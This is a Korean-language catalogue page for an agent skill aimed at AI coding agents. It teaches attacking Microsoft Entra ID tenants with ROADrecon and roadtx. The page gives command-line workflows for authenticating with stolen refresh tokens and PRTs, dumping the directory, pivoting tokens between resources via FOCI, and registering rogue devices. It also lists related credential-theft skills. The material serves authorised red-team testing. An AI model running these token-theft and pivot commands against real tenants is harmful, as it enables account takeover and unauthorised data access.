Communitygithub.com

ROADtools를 활용한 Entra ID 공격

ROADrecon 및 roadtx를 사용하여 Microsoft Entra ID (Azure AD) 테넌트를 열거하고 토큰을 탈취/교환합니다.

ROADtools를 활용한 Entra ID 공격란 무엇인가요?

이 스킬은 ROADtools (Dirk-jan Mollema)를 사용하여 Microsoft Entra ID (Azure AD) 테넌트에 대한 공격적 보안 평가를 수행하는 방법을 설명합니다. ROADtools는 두 가지 주요 구성 요소인 ROADrecon과 roadtx로 구성됩니다. ROADrecon은 Azure AD Graph API를 통해 디렉터리 정보를 로컬 SQLite 데이터베이스로 수집하고, GUI를 통해 사용자, 그룹, 역할, 애플리케이션, 서비스 주체, 조건부 액세스 정책 등을 오프라인으로 탐색할 수 있게 해줍니다. 또한 BloodHound로 내보내기 및 CA 정책 분석 플러그인을 제공합니다. roadtx는 다양한 OAuth 흐름(ROPC, 장치 코드, 인증 코드, 갱신 토큰 교환, PRT 기반 SSO 등)을 통해 Entra ID에서 발급된 토큰을 획득 및 교환하고, 장치 등록 및 PRT 작업을 처리합니다. FOCI(Family of Client IDs) 인식 기능을 통해 한 퍼스트파티 클라이언트의 갱신 토큰을 다른 리소스에 사용할 수 있습니다. 이 스킬은 클라우드 아이덴티티에 대한 검색(Discovery) 단계(T1087.004 계정 검색: 클라우드 계정)를 다루며, 권한 있는 침투 테스트 또는 레드 팀 작업 중에 사용됩니다. 주요 사용 사례로는 테넌트 열거, 토큰 탈취 및 교환, PRT 남용, 조건부 액세스 정책 검증 등이 있습니다.

지원 대상~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/attacking-entra-id-with-roadtools

즐겨 사용하는 AI에게 물어보기

이 에이전트 스킬이 미리 로드된 새 채팅을 엽니다.

문서

ROADtools를 활용한 Entra ID 공격은(는) 무엇을 하나요?

승인된 사용만: ROADtools는 라이브 Microsoft Entra ID (Azure AD) 테넌트와 상호 작용하며 장치를 등록하고, 토큰을 생성 및 교환하고, 디렉터리 개체를 열거할 수 있습니다. 귀하가 소유한 테넌트 또는 서면으로 명시적으로 승인된 테넌트에 대해서만 사용하십시오. 클라우드 테넌트에 대한 무단 액세스는 불법입니다.

개요

ROADtools (Dirk-jan Mollema 제작)는 Microsoft Entra ID를 위한 사실상의 공격적 도구 키트입니다. 두 가지 주요 구성 요소가 있습니다:

  • ROADrecon — Entra ID에 인증하고, Azure AD Graph API를 통해 전체 디렉터리를 로컬 SQLite 데이터베이스로 수집하며, 사용자, 그룹, 역할, 애플리케이션, 서비스 주체, 조건부 액세스 정책 및 장치 개체를 오프라인으로 탐색할 수 있는 Angular GUI를 제공합니다. 플러그인 시스템은 BloodHound로 내보내고 CA 정책을 분석합니다.
  • roadtx (ROADtools Token eXchange) — 다양한 OAuth 흐름(ROPC, 장치 코드, 인증 코드, 갱신 토큰 교환, 앱/페더레이션 앱)을 통해 Entra ID에서 발급된 토큰을 획득 및 교환하고, 장치 등록을 수행하며, PRT(Primary Refresh Token) 기반 SSO 및 쿠키 생성을 포함한 PRT 작업을 처리합니다. FOCI(Family of Client IDs) 인식 기능을 통해 한 퍼스트파티 클라이언트의 갱신 토큰을 다른 리소스에 사용할 수 있습니다.

이 두 도구는 클라우드 아이덴티티에 대한 검색(Discovery) 단계를 함께 다룹니다: 테넌트 열거(T1087.004 계정 검색: 클라우드 계정) 및 Microsoft Graph, Azure Resource Manager 및 기타 리소스에 도달하는 데 필요한 토큰 획득/조작. ROADrecon의 오프라인 데이터베이스는 정찰을 은밀하고 빠르게 만듭니다. roadtx는 토큰 탈취, PRT 남용 및 리소스 간 피벗을 실현 가능하게 합니다.

사용 시기

  • 승인된 Azure / Entra ID 레드 팀 또는 클라우드 침투 테스트 중.
  • 발판 자격 증명, 갱신 토큰 또는 PRT를 확보했으며 테넌트를 열거해야 할 때.
  • 한 리소스(예: Azure CLI)의 토큰을 다른 리소스(예: Microsoft Graph)로 피벗해야 할 때.
  • 조건부 액세스, 장치 준수 및 토큰 제어가 실제로 공격자를 제한하는지 검증할 때.
  • Entra 공격 경로를 매핑할 때 (그래프 분석을 위해 BloodHound로 내보내기).

사전 요구 사항

  • 대상 테넌트에 대한 서면 승인 및 정의된 범위.
  • 시작 자격 증명: 사용자 이름/비밀번호(MFA 흐름 없음), 장치 코드 세션, 갱신/액세스 토큰 또는 등록된 장치의 PRT.
  • Python 3.7+ (roadtx Selenium 흐름에는 일치하는 geckodriver/Firefox가 필요함).
# 핵심 설치 (roadlib은 공유 종속성으로 자동으로 설치됨)
python -m pip install roadrecon
python -m pip install roadtx
# 확인
roadrecon --help
roadtx --help

목표

  • 적절한 흐름(MFA를 지원하는 장치 코드 선호)을 통해 Entra ID에 인증합니다.
  • ROADrecon으로 전체 디렉터리를 수집하고 GUI에서 분석합니다.
  • 디렉터리를 BloodHound로 내보내고 CA 정책 분석 플러그인을 실행합니다.
  • roadtx로 토큰을 획득하고 리소스/클라이언트 간에 갱신 토큰을 교환합니다.
  • PRT 기반 SSO를 시연하고 결과 액세스를 문서화합니다.

MITRE ATT&CK 매핑

ID전술공식 기술 이름이 스킬에서의 역할
T1087.004검색(Discovery)계정 검색: 클라우드 계정ROADrecon이 테넌트 사용자/계정을 열거합니다
T1069.003검색(Discovery)권한 그룹 검색: 클라우드 그룹ROADrecon이 Entra 그룹 및 역할을 열거합니다
T1538검색(Discovery)클라우드 서비스 대시보드GUI를 통한 테넌트 구성 탐색
T1550.001방어 회피 / 측면 이동대체 인증 자료 사용: 애플리케이션 액세스 토큰roadtx 리소스 간 갱신 토큰 교환
T1528자격 증명 액세스애플리케이션 액세스 토큰 탈취roadtx PRT/토큰 획득

워크플로

1단계: ROADrecon으로 인증

발판에 맞는 흐름을 선택하세요. 장치 코드는 MFA를 지원합니다. ROPC(-u/-p)는 지원하지 않습니다.

# 사용자 이름/비밀번호 (레거시, MFA 불가)
roadrecon auth -u [email protected] -p 'Password123!'

# 장치 코드 흐름 (MFA 지원)
roadrecon auth --device-code

# 탈취한 액세스 또는 갱신 토큰 사용
roadrecon auth --access-token <JWT>
roadrecon auth --refresh-token <refresh_token>

# PRT (세션 키 포함) 사용 (SSO 수준 액세스)
roadrecon auth --prt <prt> --prt-sessionkey <session_key>

인증 시 작업 디렉터리에 .roadtools_auth가 생성됩니다.

2단계: 디렉터리 수집

# roadrecon.db (기본값)에 전체 수집
roadrecon gather

# MFA/인증 방법 세부 정보 포함 (권한 있는 역할 필요)
roadrecon gather --mfa

3단계: GUI에서 탐색

roadrecon gui
# http://127.0.0.1:5000 으로 이동 — 사용자, 그룹, 역할, 애플리케이션,
# 서비스 주체, 장치 및 조건부 액세스 정책, 모두 오프라인.

4단계: 분석 플러그인 실행

# 조건부 액세스 정책 분석
roadrecon plugin policies -h
roadrecon plugin policies

# 수집된 데이터를 BloodHound에 가져올 수 있는 형식으로 내보내기
roadrecon plugin bloodhound -h
roadrecon plugin bloodhound

5단계: roadtx로 토큰 획득

# ROPC: Azure CLI 클라이언트에 대한 Microsoft Graph 토큰 획득
roadtx gettokens -u [email protected] -p 'Password123!' -c azcli -r msgraph

# 장치 코드 스타일 대화형 인증 (Teams 클라이언트 -> Graph)
roadtx interactiveauth -c msteams -r msgraph

# 기존 갱신 토큰 사용
roadtx gettokens --refresh-token <refresh_token> -r msgraph

토큰은 .roadtools_auth에 기록됩니다 (출력하려면 --tokens-stdout 사용).

6단계: 리소스 간 갱신 토큰 교환 (FOCI 피벗)

퍼스트파티 클라이언트에 대해 획득한 FOCI 갱신 토큰은 재인증 없이 다른 리소스에 사용할 수 있습니다.

# 저장된 갱신 토큰을 Azure Resource Manager 토큰으로 변환
roadtx refreshtokento -r azrm

# Teams 클라이언트를 통해 범위가 지정된 Graph 토큰으로 변환
roadtx refreshtokento -c msteams -r msgraph

# 특정 범위를 가진 퍼스트파티 클라이언트 찾기
roadtx getscope -s https://graph.microsoft.com/mail.read --foci

7단계: 장치 등록 및 PRT 기반 SSO

# (가상) 장치를 테넌트에 등록
roadtx device -n redteam-device

# 장치 인증서/키 및 사용자 자격 증명을 사용하여 PRT 요청
roadtx prt -u [email protected] -p 'Password123!' --key-pem redteam-device.key --cert-pem redteam-device.pem

# PRT를 사용하여 리소스에 클라이언트 인증 (SSO 수준)
roadtx prtauth -c msteams -r msgraph

# 대화형 MFA 클레임으로 PRT 보강
roadtx prtenrich -u [email protected]

8단계: 토큰 검사

# 저장된 / 제공된 토큰의 클레임 디코딩 및 출력
roadtx describe -t <JWT>
roadtx describe < .roadtools_auth | jq .

도구 및 리소스

도구목적주요 소스
ROADtools (저장소)도구 키트 개요 + 위키https://github.com/dirkjanm/ROADtools
ROADrecon 위키인증/수집/GUI/플러그인 사용법https://github.com/dirkjanm/ROADtools/wiki/Getting-started-with-ROADrecon
roadtx 위키토큰 교환 + PRT/장치 흐름https://github.com/dirkjanm/ROADtools/wiki/ROADtools-Token-eXchange-(roadtx)
BloodHound CE내보낸 Entra 데이터의 그래프 분석https://github.com/SpecterOps/BloodHound
Microsoft ID 플랫폼토큰/흐름 참조https://learn.microsoft.com/entra/identity-platform/

검증 기준

  • 승인된 흐름을 통해 대상 테넌트에 인증됨; .roadtools_auth 생성됨.
  • 디렉터리가 roadrecon.db에 수집됨 (역할이 허용하는 경우 --mfa 포함).
  • GUI 탐색됨; 사용자, 그룹, 역할, 앱, CA 정책 검토 완료.
  • CA 정책 및 BloodHound 플러그인 실행됨; 데이터 내보내짐.
  • 하나 이상의 리소스에 대해 roadtx로 토큰 획득됨.
  • 두 번째 리소스로의 갱신 토큰 교환 시연됨 (FOCI 피벗).
  • 장치 등록 및 PRT 기반 SSO 시연됨 (범위 내인 경우).
  • roadtx describe로 토큰 클레임 검사됨.
  • 결과 및 액세스가 평가 보고서를 위해 문서화됨.

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

관련 스킬